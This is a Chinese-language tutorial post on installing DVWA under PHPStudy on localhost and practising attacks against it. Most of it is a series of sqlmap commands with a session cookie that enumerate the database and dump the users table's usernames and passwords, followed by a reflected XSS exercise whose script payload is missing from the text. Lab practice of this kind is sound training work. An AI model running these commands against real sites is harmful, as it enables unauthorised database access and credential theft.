作者:宁波南诚装饰_886 | 来源:互联网 | 2024-12-20 18:22
本文详细介绍了如何在PHPStudy环境下配置DVWA(DamnVulnerableWebApplication),并利用该平台进行SQL注入和XSS攻击的练习。通过此过程,读者可以熟悉常见的Web漏洞及其利用方法。
配置PHPStudy环境
首先访问PHPStudy官方网站下载并安装PHPStudy。安装完成后,从DVWA官网下载DVWA压缩包,并将其解压到PHPStudy安装目录下的WWW
文件夹中。将解压后的文件夹重命名为DVWA
。
接下来,进入DVWA/config
目录,找到并编辑config.inc.php
文件。根据需要填写Google reCAPTCHA的公钥和私钥:
$_DVWA[ 'recaptcha_public_key' ] = '6LdJJlUUAAAAAH1Q6cTpZRQ2Ah8VpyzhnffD0mBb';
$_DVWA[ 'recaptcha_private_key' ] = '6LdJJlUUAAAAAM2a3HrgzLczqdYp4g05EqDs-W4K';
若无reCAPTCHA需求,可留空。
然后,打开PHPStudy安装目录下的Extensions/php/php7.3.4nts
目录,编辑php.ini
文件,搜索并确保以下设置已启用:allow_url_fopen = On
和 extension=mysqli
。保存并退出。
启动PHPStudy服务后,在浏览器中访问http://127.0.0.1/DVWA/setup.php
完成初始化设置,使用默认账号admin/password
登录。
SQL注入练习
为进行SQL注入测试,需先安装SQLMap工具。请前往SQLMap官网下载并安装最新版本,同时确保Python环境已正确配置。
登录DVWA后选择SQL Injection模块,使用浏览器开发者工具(F12)捕获请求中的COOKIE信息。接着,在命令行中切换至SQLMap目录,执行如下命令以检测数据库:
sqlmap.py -u "http://127.0.0.1/DVWA/vulnerabilities/sqli/?id=123&Submit=Submit" --COOKIE "security=low; PHPSESSID=d24irf2jas287lkua6k4to98mb" --dbs
确认目标数据库为dvwa
后,继续爆破表名:
sqlmap.py -u "http://127.0.0.1/DVWA/vulnerabilities/sqli/?id=123&Submit=Submit" --COOKIE "security=low; PHPSESSID=d24irf2jas287lkua6k4to98mb" -D dvwa --tables
确定感兴趣的表为users
,进一步获取列名:
sqlmap.py -u "http://127.0.0.1/DVWA/vulnerabilities/sqli/?id=123&Submit=Submit" --COOKIE "security=low; PHPSESSID=d24irf2jas287lkua6k4to98mb" -D dvwa -T users --columns
最后,提取user
和password
字段的数据:
sqlmap.py -u "http://127.0.0.1/DVWA/vulnerabilities/sqli/?id=123&Submit=Submit" --COOKIE "security=low; PHPSESSID=d24irf2jas287lkua6k4to98mb" -D dvwa -T users -C user,password --dump
通过上述步骤,您可以成功检索出用户账户及其密码。
XSS攻击练习
调整DVWA的安全级别至最低(Low)。在XSS (Reflected)模块中输入任意字符串并提交,观察页面返回内容是否与输入一致。由于GET参数未经过滤,输入恶意脚本代码(如
)后,页面会弹出警告框,表明存在反射型XSS漏洞。